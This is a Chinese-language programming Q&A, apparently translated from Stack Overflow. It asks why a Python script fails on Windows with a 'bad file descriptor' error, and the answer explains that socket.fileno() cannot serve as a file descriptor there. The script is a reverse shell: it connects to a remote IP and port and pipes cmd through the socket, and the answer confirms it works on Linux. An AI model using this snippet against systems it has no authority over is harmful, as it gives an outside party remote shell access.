当我在Windows上使用os.dup2()时,我收到一个错误:OSError:[Errno 9]错误的文件描述符

hel*_*ger 2 python sockets

我想在我的服务器上获取我的Windows shell,我使用以下代码.

import socket,os,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.9.9.25',10089))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(['cmd','/u']);
Run Code Online (Sandbox Code Playgroud)

我收到了错误

OSError: [Errno 9] Bad file descriptor.
Run Code Online (Sandbox Code Playgroud)

Iro*_*ist 5

如果你已经阅读了关于socket.fileno()你的文档,你会知道这在Windows中不起作用,从Python文档引用:

socket.fileno()

返回套接字的文件描述符(一个小整数).这对select.select()非常有用.

在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(例如os.fdopen()).Unix没有这个限制.

注意:

我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常.